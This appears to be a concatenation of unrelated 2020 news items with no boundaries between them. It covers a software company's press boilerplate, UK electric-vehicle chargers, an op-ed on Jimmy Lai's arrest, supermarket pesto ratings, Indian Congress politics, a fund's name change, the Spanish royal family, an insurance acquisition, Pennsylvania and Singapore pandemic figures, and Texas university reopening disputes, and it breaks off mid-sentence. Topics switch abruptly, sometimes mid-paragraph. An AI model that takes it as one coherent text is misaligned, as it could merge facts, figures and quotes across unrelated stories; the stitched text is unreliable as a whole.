Centric 8, delivers enterprise-class merchandise planning, product development, sourcing, quality and collection management functionality tailored for fast-moving consumer industries. Centric SMB provides innovative PLM technology and key industry learnings for emerging brands. Centric Visual Innovation Platform (VIP) offers a new fully visual and digital experience for collaboration and decision-making and includes the Centric Buying Board to transform internal buying sessions and maximize retail value and the Centric Concept Board for driving creativity and evolving product concepts. All Centric innovations shorten time to market, boost product innovation and reduce costs. Centric Software is majority-owned by Dassault Systemes (Euronext Paris: #13065, DSY.PA), the world leader in 3D design software, 3D Digital Mock Up and PLM solutions. Centric Software has received multiple industry awards and recognition, including being named by Red Herring to its Top 100 Global list in 2013, 2015 and 2016. Centric also received various excellence awards from Frost & Sullivan in 2012, 2016 and 2018. Centric software is a registered trademark of Centric Software Inc. All other brands and product names may be trademarks of their respective owners. Media Contacts: Centric Software Americas: Jennifer Forsythe, jforsythe@centricsoftware.com EMEAR: Kristen Salaun-Batby, ksalaun-batby@centricsoftware.com APAC: Lily Dong, lily.dong@centricsoftware.com The number of electric vehicle charge points has surged in recent years, with a five-fold increase in five years. Official figures show there were 18,265 public charge points in the UK, with 3,206 of these being rapid chargers. This also marks an 11 per cent increase in the year to date. Looking specifically at rapid chargers, the number has increased by 363 per cent. However, the Department for Transport says there is an uneven distribution of public charge points throughout the UK. This is because some local authorities have bid for public funding while others have not, with most public charge infrastructure driven by businesses such as hotels or privately owned charging networks. The average number of charge points per 100,000 people in the UK is 27, but London has the highest average at 57, a long way ahead of Scotland, which is in second place with 35. Meanwhile, Yorkshire and the Humber and the West Midlands have 17, while Northern Ireland has just 16. Commenting on the figures, RAC head of roads policy Nicholas Lyes said: Despite the coronavirus, its clear that the installation of new electric vehicle chargers is continuing apace. With suggestions that we may have passed peak petrol, the sight of plenty of new chargers in prominent locations like supermarket car parks could be the nudge that some drivers need to opt for a plug-in car next time they change their vehicle, over one powered purely by petrol or diesel. (Ionity) While home charging is one of the most important elements of electric vehicle ownership, a comprehensive public charging network is also vital to giving drivers confidence they can keep topped up when away from home. For this reason, its vital new chargers are installed right across the UK in rural as well as urban locations. Its also important that rapid and ultra-rapid chargers start to make up a greater proportion of new public chargers this will mean the turnover of electric vehicles using them can be as high as possible, and can go some way towards making the process of charging a car as normal as filling one with fuel. Difficult as it is to imagine now, there was a time when the most important news coming out of China had nothing to do with a virus. A year ago the streets of Hong Kong were full of pink and blue umbrellas and American flags, as the people of the autonomous territory protested an allegedly insignificant extradition bill. At the time it was insisted by some that too much was being made of nothing, that the proposed law would, at most, give Beijing formal permission to do what had long been in its power anyway. The protesters knew better. If their inchoate feelings of dread had not already been vindicated, they certainly were on Monday when Jimmy Lai, the Hong Kong businessman and publisher, was arrested along with two of his sons and four executives at his media company. Lai is no one's idea of a radical. He is not a nostalgist for British colonial rule or a Falun Gong cultist, or indeed a Hong Kong dissident in any sense that might be familiar to most Americans. His newspaper, the Apple Daily, is not (despite what recent characterizations in western media are suggesting) especially rabble-rousing. It is a tabloid in the best old-fashioned sense of the word, a popular newspaper that tells its readers the news simply and accurately while more or less representing their worldview. Its editorial position is not anti-Beijing per se, but the moderate one of acknowledging the latter's sovereignty while insisting upon certain limited democratic rights for Hong Kongers. Lai's position is open to criticism on any number of grounds incoherence chief among them but it would be ludicrous to suggest that he is at the vanguard of recent unrest in the territory. His arrest tells us more about current thinking among China's rulers than it does about Lai himself or the political aspirations of the average middle-class citizens of Hong Kong who make up his paper's readership. The quiet "disappearing" of a few quixotic young people, the supposed ringleaders of the ill-fated Umbrella Revolution, would be one thing; if even Lai's middle-of-the-road pro-democracy rhetoric is no longer permissible in Beijing, the fate of Hong Kong is already sealed. Story continues Certainly the United States will be unlikely to do anything about it. The news of Lai's arrest comes amid a round of sanctions and counter-sanctions imposed by Washington and Beijing respectively upon politicians and other officials ranging from Hong Kong's chief executive Carrie Lam to American senators, including Marco Rubio and Ted Cruz. On both sides the latest attempts at economic warfare are proving to be roughly as effective as one might expect. Last week Lam mocked the Trump administration for not even getting her address right; Luo Huining, China's chief liaison to Hong Kong, lamented the fact that, since he had no American assets, he might have to donate $100 to Donald Trump's re-election campaign in order to give the Americans something to freeze. Rubio meanwhile tweeted, "Last month #China banned me. Today they sanctioned me. I don't want to be paranoid but I am starting to think they don't like me." Far more significant are whether Trump follows through on his threat to ban TikTok, the dance GIF spyware app beloved by American teenagers, and what, if anything, comes of the upcoming formal review of our trade relations with China. The president himself has claimed that he is no longer interested in securing a deal of any kind. Would he feel the same way if China chose to retaliate by imposing additional tariffs on American exports? It's unlikely that Trump or any president would be eager to fight a trade war that would have very tangible costs for ordinary Americans on the eve of a close general election, regardless of how necessary it might be. It seems to me more likely that the status quo will remain. This includes the current sanctions theater, which serves the interests of leaders in both countries. Your own sanctions show your people how tough-minded you are; those of your enemies only demonstrate how toothless and effective their opposition is. Meanwhile Jimmy Lai and the pink umbrellas and the Mengelian torture chambers of Xinjiang fade further into the horizon. More stories from theweek.com The case against American truck bloat Trump and his aides reportedly think they have Democrats in a 'real pickle' with the COVID-19 aid stalemate Trump campaign tweets mugshots of alleged criminals, all of them Black, to claim Biden is pro-crime Consumer experts from Choice have put popular supermarket pestos to the test, with a dairy-free, vegan-friendly product crowned the best in Australia. Sacla Italia's Basil Pesto 'Free From' ($4.90) beat out stiff competition from the likes of Barilla, Jamie Oliver, Leggo's and Mutti, thanks to its 'balanced flavour combinations' and impressive 38 per cent basil content. 'This pesto has vibrant olive green, some oil separation and noticeable nuts and herbs,' the Choice testers said. 'It has a fragrant basil aroma. Flavour is balanced, noticeable basil with a slight acidic finish. A pleasant, even, soft and creamy texture that coats pasta well.' Consumer experts from Choice have put popular supermarket pestos to the test, crowning the surprising winner as a dairy-free, vegan-friendly product from Sacla (stock image) Sacla Italia's Basil Pesto 'Free From' ($4.90) beat out stiff competition to be crowned the best pesto with a 75 per cent score (left). Jamie Oliver's Green Pesto ($5.30) - wasn't far behind it with 72 per cent (right) The Sacla 'Free From' pesto uses tofu as a cheese substitute. While Sacla's 'Free From' pesto came out on top with an impressive 75 per cent score, the most expensive product - Jamie Oliver's Green Pesto ($5.30) - wasn't far behind with 72 per cent. 'This is olive green with a vibrant oil colour, and it has a pleasant appearance with "bits" of ingredients apparent,' Choice's tasting experts said. 'It has a subtle grassy, basil, acidic aroma and you can taste the basil and the cheese, but it's not too salty with a slight acidic aftertaste.' Their experts noted that Jamie's pesto 'sticks well to pasta', and gives a delicious well-balanced flavour. Third place in the Choice ratings was awarded to Sacla Italia's regular Pesto Classic Basil $4.90), which received a 65 per cent score. Third place in the Choice ratings was awarded to Sacla Italia's Pesto Classic Basil $4.90), which received a 65 per cent score (left). Elsewhere in the pesto ratings, Aldi's Remano Basil Pesto ($1.89) scored an impressive 63 per cent score (right) What are the full supermarket pesto ratings? 1. Sacla Italia Basil Pesto 'Free From', $4.90. 75 per cent score. 2. Jamie Oliver Green Pesto, $5.30. 72 per cent score. 3. Sacla Italia Pesto Classic Basil, $4.90. 65 per cent score. Barilla Pesto Alla Genovese gained a 60 per cent score and came in sixth place (pictured) 4. Aldi Remano Basil Pesto, $1.89. 63 per cent score. 5. Leggo's Pesto Basil, $4.60. 63 per cent score. 6. Barilla Pesto Alla Genovese, $4.30. 60 per cent score. 7. Coles Basil Pesto, $1.95. 55 per cent score. 8. Leggo's Providore Series Pesto Italian Basil, Pecorino and Pine Nut, $5. 48 per cent score. 9. Coles Italia Pesto Al Basilico Basil Pesto, $3.50. 40 per cent score. 10. Barilla Pesto Basil & Rocket, $4. 36 per cent score. 11. Woolworths Basil Pesto, $1.95. 32 per cent score. 12. Mutti Pesto Style Stir Through Sauce Green Tomato, $5. 29 per cent score. 13. Galiko Basil Pesto, $3. 28 per cent score. Source: Choice Advertisement Leggo's Pesto Basil costs $4.60 and gained a 63 per cent score, putting it in fifth place in Choice's rankings (pictured) The bottom three were made up of Woolworths' Basil Pesto ($1.95; 32 per cent score), Mutti Pesto Style Stir Through Sauce Green Tomato ($5; 29 per cent score) and Galiko Basil Pesto ($3; 28 per cent score) Elsewhere in the pesto ratings, Aldi's Remano Basil Pesto ($1.89) scored an impressive 63 per cent score, and Leggo's Pesto Basil ($4.60) also received 63 per cent. The bottom three were made up of Woolworths' Basil Pesto ($1.95; 32 per cent score), Mutti Pesto Style Stir Through Sauce Green Tomato ($5; 29 per cent score) and Galiko Basil Pesto ($3; 28 per cent score). Only two of the pesto products that Choice tested were made in Australia (Galiko Basil Pesto has 58 per cent Australian ingredients and Leggo's Pesto Basil has 50 per cent Australian ingredients). The remainder of the products were made in Italy. You can make your own pesto at home with fresh basil leaves, lemon juice, pine nuts, Parmesan, garlic, salt, pepper and extra Virgin olive oil (stock image) While $27million is spent on supermarket-bought pesto each year, it is possible to make your own from home. For this Choice recommend you get your hands on two cups of fresh basil leaves, one tablespoon of lemon juice, 1/4 of a cup of toasted pine nuts, 50 grams of Parmesan, 1/4 of a garlic clove, salt and pepper and 1/4 of a cup of extra Virgin olive oil. 'Place the basil, lemon juice, pine nuts, Parmesan cheese, garlic, salt and pepper into a mini processor or a food processor with a small bowl,' Choice's experts said. Then, pulse it for a few seconds and add in the oil, before processing it for five seconds for a chunky pesto or 10 seconds for something smoother. Serve with piping hot pasta, grated cheese and basil leaves. Sachin Pilot (File photo) Several Congress leaders "welcomed back" Sachin Pilot on Monday after the former Rajasthan deputy chief minister's meeting with Rahul Gandhi that signalled an "amicable resolution" of nearly a month-long political crisis in the state. Soon after his patch-up talks with senior Congress leaders, Pilot on Monday night said he has never hankered after posts and his was a fight for principles. "Welcome back Sachin. A constructive and enjoyable phase of Rajasthan building awaits," senior Congress leader Abhishek Singhvi tweeted after the party issued a statement saying Sonia Gandhi has decided that the AICC will constitute a three-member committee to "address the issues raised by Pilot and the aggrieved MLAs and arrive at an appropriate resolution thereof". Singhvi also congratulated Rahul Gandhi and his tireless team, including K C Venugopal, Randeep Surjewala and Ajay Maken, and added "not to forget political instincts of (Ashok) Gehlot which rarely fail him". Congress chief spokesperson Randeep Surjewala said, "The political crisis in Rajasthan Congress stands resolved amicably by the intervention of none other than Rahul Gandhi himself." "This is reflective of steadfast unity in Congress party and the commitment of Congress legislators to never fall prey to BJP's evil designs to defeat democracy," he told PTI. Senior Congress leader Digvijaya Singh said he was very happy that finally the efforts of Rahul Gandhi and Priyanka Gandhi "resolved the dispute of Rajasthan Congress". "Now everyone should fulfill the promises made to the people of Rajasthan," he said. Senior Congress leader Shashi Tharoor said the path of reconciliation is the best for Pilot and "for all of us". Hailing Rahul and Priyanka Gandhi for their efforts, Congress leader Jitin Prasada said, "We have managed to keep one of our own, Sachin Pilot, with us." "This is the democratic spirit of our party @INCIndia where there is room for dissent and debate," said Prasada, who is considered a leader of the party's young brigade. Congress spokesperson and another young leader Jaiveer Shergill said at the end of the day, all is well for the Congress and "all in the well for BJP". Reacting to the development, Haryana Congress leader Kuldeep Bishnoi said he was extremely heartened to hear the news. "India needs good people with good hearts and good intentions in government. Let's do our bit," he said on Twitter, adding, We are stronger together." Delhi Congress vice president Abhishek Dutt thanked Rahul Gandhi, Priyanka Gandhi Vadra, Ahmed Patel, K C Venugopal, Randeep Surjewala and Ajay Maken for the development. "Sachin Pilot bhai had made it very clear from Day 1 that he was never joining BJP," he said. After his meeting with Rahul Gandhi and Priyanka Gandhi, the party said Pilot will "work in the interest" of the Congress and its government in Rajasthan. The meeting between Rahul Gandhi and Pilot at the former party chief's residence, where Priyanka Gandhi Vadra was also present, lasted two hours during which they had a "frank, open and conclusive" discussion, the party said. Third Point Offshore Investors Ltd - Change of Company Name Third Point Offshore Investors Limited (A closed-ended investment company incorporated in Guernsey with registration number 47161) LEI Number: 549300WXTCG65AQ7V644 Renewal Date- 03/10/2020 (The "Company") 11 August 2020 Change of Company Name The Board of Third Point Offshore Investors Limited (the "Company") today announces that the Company's name has been changed to Third Point Investors Limited, effective 2 July 2020. As previously announced on 1 July 2020, a Special Resolution for the Company's name to be changed was passed by Shareholders at the Annual General Meeting of the Company. The Company has retained its existing ticker (TPOU.L), SEDOL (B1YQ721) and ISIN (GG00B1YQ7219) following the change of name. The Company's website has changed to: www.thirdpointlimited.com Enquiries: Company Website: www.thirdpointlimited.com Northern Trust International Fund Administration Services (Guernsey) Limited The Company Secretary Trafalgar Court Les Banques St Peter Port Guernsey GY1 3QL Tel: 01481 745001 The Spanish royal family put on a brave face - and masks - during an outing in Palma de Mallorca today. King Felipe VI, 52, Queen Letizia, 47 and their two daughters, Crown Princess Leonor, 14 and Infanta Sofia, 13, kicked off their traditional family holidays in Mallorca this week. However, the quiet family time off was rocked by a shock announcement last week, when King Juan Carlos, who abdicated in 2014, announced he was to leave Spain amid an ongoing corruption scandal. But the royals put on a display of togetherness as they visited the Naum Youth Centre in Palma earlier today to meet with local teenagers. King Felipe VI, 52, Queen Letizia, 47 and their two daughters, Crown Princess Leonor, 14 and Infanta Sofia, 13, have started their traditional family holidays in Mallorca. Today they visited the Neum Youth Centre Everyone wore masks as Sofia and Lenor posed for pictures with a group of teenagers attending the centre. Felipe and Letizia watched closely from behind Queen Letizia, who was wearing a recycled white cotton dress, stayed particularly close to her youngest daughter Sofia, who badly hurt her leg soon after arriving on the island for the holiday season. The family put safety first and were all wearing masks as they stood together for a few family pictures this morning. Sofia, flanked by her older sister and mother, was holding herself upright with a crutch. A large white bandage could also be seen above her knee. Letizia recycled a breezy white dress with a built-in belt, and paired it with nude espadrilles. Both Princesses wore loose dresses, Leonor opting for a floral white and red motif, and Sofia for a white and black gingham shirt-dress. The Spanish Queen stayed close to Infanta Sofia, who advanced with the help of a crutch after hurting her knee The family all donned masks on their way to visit a local youth centre for youngest at risk of exclusion Queen Letizia stayed particularly close to her youngest daughter Infanta Sofia, who badly hurt her knee soon after the family had arrived to Mallorca for the holidays Queen Letizia kept an eye on her youngest daughter, who sustained a knee injury shortly after the family arrived in Mallorca The Spanish royal donned a beloved recycled white cotton dress tied at the waist with a belt and nude espadrilles Infata Sofia bravely let go of her crutch for the centre visit. he walked closely to her sister and mother King Felipe looked stylish in black trousers and a light blue shirt with white stripes. The foursome moved to visit the Num Youth Centre, which offers help to youngsters at risk of exclusion. The holiday is the family's first public appearance since former King Juan Carlos announced he was leaving Spain amid the ongoing corruption scandal. Sayn-Wittgenstein has been placed under investigation in relation to audio recordings of a meeting between herself and retired Spanish police commissioner Jose Manuel Villarejo at her home in 2015. The 82-year-old revealed on Monday that he had decided to leave Spain to help his son, the current King Felipe VI, 'exercise his responsibilities'. While the Princesses opted for loose shirt dresses, Queen Letizia a recycled white cotton dress with a built-in belt. King Felipe VI looked stylish in a pair of black trousers and a striped blue and white shirt The holiday is the family's first outing since Juan Carlos announced he would be leaving the country amid a new corruption scandal But sources claimed it was King Felipe who cast his father out to save his family from 'certain happenings' relating to Juan Carlos's relationship with his former German mistress Corinna zu Sayn-Wittgenstein - with some fearing he might not come back. In the recordings, she allegedly claimed Juan Carlos received a secret commission for helping to win a 5.5 billion Saudi rail deal. Villarejo asked for a meeting under the pretense that Spain's intelligence services were plotting to implicate her in criminal activity and went on to leak the tapes of their conversation to the media. The family who are staying at the Marivent Palace during their time in Mallorca, were seen admiring historic artifacts at the birthplace, museum and convent of Fray Junipero Serra in Petra. Who is Spain's former king, Juan Carlos I? Juan Carlos I reigned as king of Spain from November 1975 until his abdication in June 2014 Juan Carlos I reigned as king of Spain from November 1975 until his abdication in June 2014. He was a popular monarch for most of his four-decade reign who played a critical role in the country's transition to democracy. He is the grandson of Alfonso XIII, the last king of Spain before the abolition of the monarchy in 1931 and the subsequent declaration of the Second Spanish Republic. Juan Carlos was born in Rome, Italy, on January 5, 1938, during his family's exile. He came to Spain in 1947 to continue his studies and entered the Zaragoza military academy. He completed his tertiary education at the University of Madrid and went on to marry Princess Sofia of Greece and Denmark in Athens in 1962. They went on to have two daughters and a son together: Elena, Cristina, and Felipe. Juan Carlos first began periodically acting as Spain's head of state in the summer of 1974. Fascist dictator Francisco Franco died in November the following year and Juan Carlos became king on 22 November 1975, two days after Franco's death. Juan Carlos was hailed for his role in Spain's transition to democracy and reforms to dismantle the Francoist regime. However the King and the monarchy's reputation began to suffer after controversies surrounding his family arose. In April 2012, Juan Carlos faced criticism for an elephant-hunting trip in Botswana during a time of financial crisis in Spain. King Felipe pictured with former king Juan Carlos and Spain's Queen Letizia at the Spanish National day military parade in Madrid on October 12, 2012 The public found out about the trip only after the King injured himself and a special aircraft was sent to bring him home. Spanish officials stated that the expenses of the trip were not paid by taxpayers or by the palace, but by businessman Mohamed Eyad Kayali. Corruption scandals circling the royal family closed in when his daughter, Princess Cristina, was accused of tax fraud in 2014 and became the first Spanish royal to stand trial. She was later acquitted, but her husband was sentenced. He abdicated in favour of his son, Prince Felipe, in 2014, and last year, Juan Carlos announced his decision to withdraw from public life, ending his remaining institutional functions and appearances from June 2019. Last August, he successfully underwent heart surgery in Madrid. In June 2020, Spain's supreme court prosecutor opened an investigation into Juan Carlos' involvement in a high-speed rail contract in Saudi Arabia that was granted to a group of Spanish companies in 2011. King Felipe renounced his own inheritance and stripped his father of his palace allowance in March after reports the latter received $100 million from the late Saudi king and gave millions to a businesswoman. Advertisement Their tour began with sightseeing of the notable figure's birthplace on Barracar Alt Street, before journeying to the museum created by Pare Serra Friends Association in 1959. The site is home to paintings, medals, prints, photographs and other items of significance related to Fray Junipero Serra's work in the American missions. Felipe VI became King of Spain in 2014 following the abdication of his father Juan Carlos whose whereabouts is currently unknown. The Spanish Royal Household has declined to comment on Juan Carlos's location since he announced that he was going into exile last Monday. It has been alleged that the former King is hiding out in a 10k-a-night suite at a luxury Abu Dhabi hotel after fleeing amid the ongoing corruption scandal. The Alper Services team is a strong addition to Alera Groups presence in Chicago and throughout the Midwest. Alera Group, a national employee benefits, property casualty, retirement services and wealth management firm, announced today that it has acquired Alper Services LLC, effective August 1, 2020. Founded in 1966, Alper Services focuses on providing innovative insurance solutions which minimize risk, protect assets and reduce liabilities for clients throughout the Midwest and Chicagoland area. Along with its expertise in property and casualty, trade credit, employee benefits and financial services solutions for middle-market corporations, the firm is known for its unique claims service model and AuditRate division. Alper Services was named a Best Practices Agency four years in a row by the Independent Insurance Agents and Brokers of America. The Alper Services team, led by Leslie Morse, is a strong addition to Alera Groups presence in Chicago and throughout the Midwest, said Alan Levitz, CEO of Alera Group. Alper has built a terrific brand and reputation because of the great people inside the organization and their risk management expertise. It is a pleasure to welcome them to Alera Group knowing that they will bring great value to our collaborative culture. We are excited to join Alera Group and GCG Financial, and we look forward to the ways their national platform will further enhance the Alper Services client offerings, said Leslie Morse, CEO of Alper Services. As an Alera Group company, we will be able to provide our clients with more top-rated carriers, broader insurance expertise and more accessible technology solutions than ever before. Alper Services joins Alera Group through GCG Financial, an Alera Group company located in Deerfield, Illinois. The Alper Services team will continue serving clients in their existing roles. Terms of the transaction were not disclosed. About Alera Group Based in Deerfield, IL, Alera Groups over 2,000 employees serve thousands of clients nationally in employee benefits, property and casualty, retirement services and wealth management. Alera Group is the 15th largest privately held firm in the country. For more information, visit http://www.aleragroup.com or follow Alera Group on Twitter: @AleraGroupUS. The Pennsylvania Department of Health reported 828 new coronavirus cases Tuesday as more than 120,000 residents of the Keystone State have now been infected. The new report pushes the statewide total to 120,281 cases. So far, cases have dipped in August after a steady uptick in new infections in late June and July. The state has reported 753 new cases, on average, over the last seven days, down from about 800 new cases per day over the previous week. The state hasnt reported more than 1,000 new cases in a single day since July 28. Health officials remain concerned about the number of cases among young adults, particularly those 19 to 24 years old. Across Pennsylvania, 7,352 deaths have been tied to COVID-19, including 35 newly reported fatalities Tuesday. More than two-thirds of the states coronavirus deaths have occurred in long-term care facilities, such as nursing homes. Gov. Tom Wolf and Health Secretary Dr. Rachel Levine continue to stress the importance of wearing masks and social distancing. Theyve argued it is necessary to help ensure schools can open later this month. You are stopping the spread when you wear a mask, Levine said at a news conference Tuesday. You are stopping the spread when you avoid large public gatherings. Expanding testing The state has administered 151,455 COVID-19 tests between Aug. 4-10. There were 21,755 test results reported to the department through 10 p.m. Monday. Over the last seven days, the state has recorded an average of 21,636 tests per day. The governor has hailed the states improved testing capacity but says it must continue to get better. Wolf also noted that tests in some cases are taking as much as two weeks to turn around, which he has called unacceptable. On Tuesday, the Wolf administration announced that OraSure Technologies Inc., a medical device company which makes diagnostic tests, will expand its manufacturing operations in the Lehigh Valley as it aims to develop coronavirus tests. The expansion will create 177 new, full-time jobs and retain 233 jobs. Wolf and Levine, who held a news conference Tuesday to announce the OraSure expansion, hailed it as an important step to help expand access to testing for COVID-19. One of the keys to stopping the spread of COVID-19 is access to testing, Levine said. So far, 1,255,313 patients have tested negative for the virus, according to the health department. A closer look State data show the trend of new COVID-19 cases since the beginning of July. July 1-7: 4,693 new cases, an average of 670 per day July 8-14: 5,372 new cases, an average of 767 per day July 15-21: 6,094 new cases, an average of 870 per day July 22-28: 6,619 new cases, an average of 945 per day July 29-Aug. 4: 5,625 new cases, an average of 803 per day Aug. 5-11: 5,272 new cases, an average of 753 per day Across the state, 4,983 coronavirus deaths have occurred in nursing homes or personal care homes, according to the health department. There are 20,086 residents in long-term care facilities who have contracted COVID-19, along with 4,166 employees, the department said. A total of 24,252 people in those facilities have been infected. Cases have been found at 883 long-term care facilities in 61 counties. Statewide, 77 percent of those who have been infected with the coronavirus have recovered, according to the health department. The department considers patients to be recovered when they are 30 days past the point of infection or the onset of symptoms. Schools continue to develop plans to reopen later this month. Some schools, including Harrisburg, Philadelphia and Pittsburgh, plan to begin the year with remote learning. Many school districts are planning a hybrid approach, with some days of in-person instruction and online education on other days. Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. More from PennLive Pa. official explains strong recommendation to not play youth, high school sports, until at least Jan. 2021 Pa. state officials guidance on safe school opening and operation criticized for being tardy Coronavirus spurs enrollment explosion for Pa. cyberschools By John Geddie and Aradhana Aravindan SINGAPORE (Reuters) - Singapore's record recession was deeper than first thought in the second quarter, data showed on Tuesday, signalling a lengthy path to recovery as the coronavirus pandemic dealt a major blow to Asia's trade-reliant economies. The city-state has been hit hard by COVID-19 with the country under a lockdown for most of the second quarter to curb the spread of the virus. "The painful truth is this - we are not returning to a pre-COVID world. Recovery will be some time yet," said trade minister Chan Chun Sing. The government said it now expects full-year GDP to contract between 5% and 7% versus its previous forecast for a 4% to 7% decline. The transport and tourism hub is facing the biggest downturn in its history, expected to wipe out years of previous economic expansion. "The forecast for 2020 essentially means the growth generated over the past two to three years will be negated," said Chan, adding that the data was the economy's worst quarterly performance on record. Gross domestic product (GDP) fell a record 13.2% year-on-year in the second quarter, revised government data showed, versus the 12.6% drop seen in advance estimates. The economy plunged 42.9% from the previous three months on an annualised and seasonally adjusted basis, also a record and larger than the 41.2% contraction in the government's initial estimates. The slump marked the second consecutive quarter of GDP contraction for the global finance hub - having declined 0.3% year-on-year in the first quarter and 3.1% quarter-on-quarter - meeting the definition for a technical recession. The data pointed "to a slower and sluggish economic recovery," said Chua Hak Bin, an economist at Maybank. He said strict border controls, social distancing rules and foreign worker shortages will weigh on the pace of the recovery, even though lockdown measures have been relaxed. The Monetary Authority of Singapore (MAS) had eased its monetary policy in March, while the government pumped in nearly S$100 billion ($72 billion) worth of stimulus to blunt the impact of the pandemic. Story continues MAS chief economist Ed Robinson said on Tuesday that its monetary policy "stance remains appropriate including and forestalling a broadening or deepening of disinflationary pressures." He added that MAS' key currency gauge, called NEER, had remained near the middle of its policy band since April. Singapore is one of the world's most open economies, with exports equating to about 200% of output. The grim data comes as other large Asian economies, such as Japan, are also set to report steep descents into recession. Meanwhile, South Korea's exports extended double digit declines in the first week of August. Economies were starting re-tighten measures after the fresh emergence of outbreaks, said Selena Ling, OCBC Bank's head of treasury research and strategy. "That is going to dampen, if not potentially kill off, any of the recovery hopes that people were looking forward to," she said. (Reporting by Aradhana Aravindan and John Geddie in Singapore; Editing by Sam Holmes) MANZINI Ageing teachers and those with underlying sicknesses will work at low risk areas in schools. This was revealed by the Minister of Education and Training, Lady Mabuza, during a meeting with primary school head teachers, which was held at Prince Mfanyana Hall and Sydney Williams Primary School yesterday. The main aim of the consultative meeting was to get what head teachers needed in order to prepare the primary schools for the proposed reopening, for Grade VII pupils, to be specific. The minister said as government, they were aware that the elderly and those with underlying sicknesses were at a higher risk of contracting COVID-19. However, she said they could not say they should stay at home or go on early retirement because that would have financial implications. What we encourage ageing teachers and those with underlying sicknesses to do, is to open up to their head teachers so that they can be deployed in low risk areas, like supervising in the kitchen, for example, the minister said. Plea She said this after the head teachers had raised a plea that since ageing teachers were at a higher risk of getting gravely ill should they contract the virus, government should consider allowing them to take an early retirement. It is worth noting that this was also proposed by public sector associations (PSAs) to government at the joint negotiation forum (JNF). The minister informed the head teachers that good health was important and without it, their lives would be at risk. In that regard, she emphasised that health came first. She said they should spread this gospel even in their communities because if these areas were not safe, it would mean their lives would be in danger. She asked the head teachers to always keep the ministry updated on any challenges they would face when preparing for the reopening of primary schools and when teaching and learning continues. Meanwhile, the Swaziland National Association of Teachers (SNAT) Secretary General, Sikelela Dlamini, said the issue of redeploying teachers was ludicrous. As an organisation, he said they had always maintained that in the face of the COVID-19 pandemic, teachers with underlying medical conditions and comorbidities should be allowed to retire on medical grounds. Gilead Sciences Inc has filed an application with the US Food and Drug Administration seeking full approval for remdesivir, its experimental Covid-19 drug currently used under emergency authorization, the drugmaker said on Monday. The antiviral drug, which helped shorten the hospital recovery time in a US trial, has been at the forefront of the battle against the pandemic after the FDA granted it emergency use authorization (EUA) in May. The authorization cleared the way for broader use of the drug in more hospitals around the United States, which has recorded over 162,600 Covid-19 ... Balking at campus reopening plans, faculty members at four Texas A&M University System schools in South Texas including A&M-San Antonio are calling on campus and system leaders to allow more remote instruction while the coronavirus continues to spread in their communities. By Tuesday evening, an open letter addressed to A&M regents and Chancellor John Sharp had been signed by more than 600 faculty and students from A&M-San Antonio, A&M-Kingsville, A&M-Corpus Christi and A&M International University in Laredo. The letter was co-authored by about 10 faculty members from the four universities. We all deeply value in-person education and wish that we could be back on campus. Nonetheless, we feel an ethical obligation to do what we can to protect the health and safety of our students, faculty, staff, and their families and to avoid adding an extra burden on our already-strained health care systems, the letter states. The universities are Hispanic-serving institutions and statistics have shown Latinos are disproportionately impacted by the virus. Theyre each in communities that have seen recent and significant community spread. A&M-San Antonio, where classes are scheduled to resume Aug. 20, released its fall reopening plan July 22, envisioning up to 30 percent of its fall courses being taught in person, with on-campus teaching done on a volunteer basis. The universitys faculty senate passed a resolution the next day saying all courses should start online, except for labs that need to be taught in person. In interviews, five professors, including four senate members, said it was misleading to say only volunteer faculty will handle on-campus classes, because many are adjunct instructors hired semester to semester and paid only per courses taught. Required Reading: Get San Antonio education news sent directly to your inbox Last week, in a virtual town hall with faculty, University President Cynthia Teniente-Matson said only about 10 percent of courses will be taught in person and another 20 percent will be a hybrid of remote and in-person instruction, so students can meet periodically with professors, such as once a month. We are not forcing anyone to take the job, she said in an interview. I have not been able to validate anyone who has suggested that they have been told that they must teach a class. Professors who have tenure status said they have an ethical obligation to speak out and advocate for adjunct faculty and for colleagues who teach under one- or two-year contracts. Adjuncts do not receive medical benefits from the university. Were really worried that these folks, who are vulnerable in terms of their jobs and in terms of their health, are being asked to shoulder this burden when tenure and tenure-track faculty are disproportionately deciding to teach online, said James Finley, an English professor and member of the faculty senate. His courses this fall will be online. Of the universitys 340 regular faculty, 72 elected to teach an in-person course, and another 27 adjunct instructors also will be teaching in-person, Teniente-Matson said. New hires recruited for on-campus courses were made aware in job postings that the position would be in-person, she said. When the A&M System Board of Regents approved guidance in May for reopening the systems 11 institutions this fall, leaving details to individual campuses, system leaders expressed eagerness to get some students back on campuses. You can get a degree online pretty easy but its very hard to become an Aggie online. That is true for all of our campuses, each with rich traditions and opportunities for personal experiences, Sharp said at the time. On ExpressNews.com: Heres what college will look like at UTSA and A&M-S.A. as coronavirus cases keep growing Teniente-Matson herself has spoken about the benefits of in-person instruction, especially for freshmen who are adjusting to the rigor of college courses and students who come from the citys poorest neighborhoods and lack resources for studies. That is my driving force, is supporting students and student success, she said. Several faculty members said after the virtual town hall last week that 10 percent of courses taught on campus still is too much. I dont disagree with compromise. I try to be reasonable, said Daniel Delgado, a sociology professor and faculty senate member who said he will teach online. But when youre asking to compromise on the number of people who will die or who are exposed to a potentially deadly disease, I am unwilling to compromise. I think we need to make sure that were protecting everyone. The professors see their arguments as a social justice issue that bolsters city and county efforts to control spread of the virus. The San Antonio Metropolitan Health District has been trying to keep K-12 school districts from allowing on-campus learning until Sept. 8 at the earliest, hoping the rate of community spread will be much lower by then. Theres a real concern among faculty that if the campus opens, even partially, that well be increasing the burden and the stress on an already seriously stressed community, specifically the South Side and the West Side, Finley said. A&M-San Antonio still can shift to remote learning for all classes upon official System, state or local direction, or at the recommendation of the committee monitoring community conditions, its reopening plan states. Metro Health Medical Director Dr. Junda Woo has said K-12 schools should not open for in-person instruction until the percentage of positive cases among those tested for the virus is down to 5 percent in Bexar County. This week it dropped to just under 13 percent. Colleges and universities might be welcoming back students too soon, she said at a briefing last week. Universities have an easier time adhering to social distancing guidelines than do schools with young children, Woo noted, but students congregating in their extracurricular activities or spare time could negate that. On ExpressNews.com: Metro Health: School buildings should be off-limits to students, except for kids who most need personal instruction, while coronavirus spreads uncontrollably I think for colleges and universities, its a lot easier to enforce the classroom part of things, but its the get-togethers and parties that we would worry about the most in a college or university setting, Woo said. Events where there are large amounts of spectators gathering, parties, these are all things that we should not be having right now. TheA&M System issued a statement Tuesday describing months of work on plans that include virus testing and tracing and emphasize the safety of our students, faculty and staff, while also recognizing the educational benefits of in-person instruction when feasible. It is inevitable that people will differ on how best to respond to this pandemic, the statement said. We recognized that, by providing online and remote choices while also responding to those students and faculty members who value the 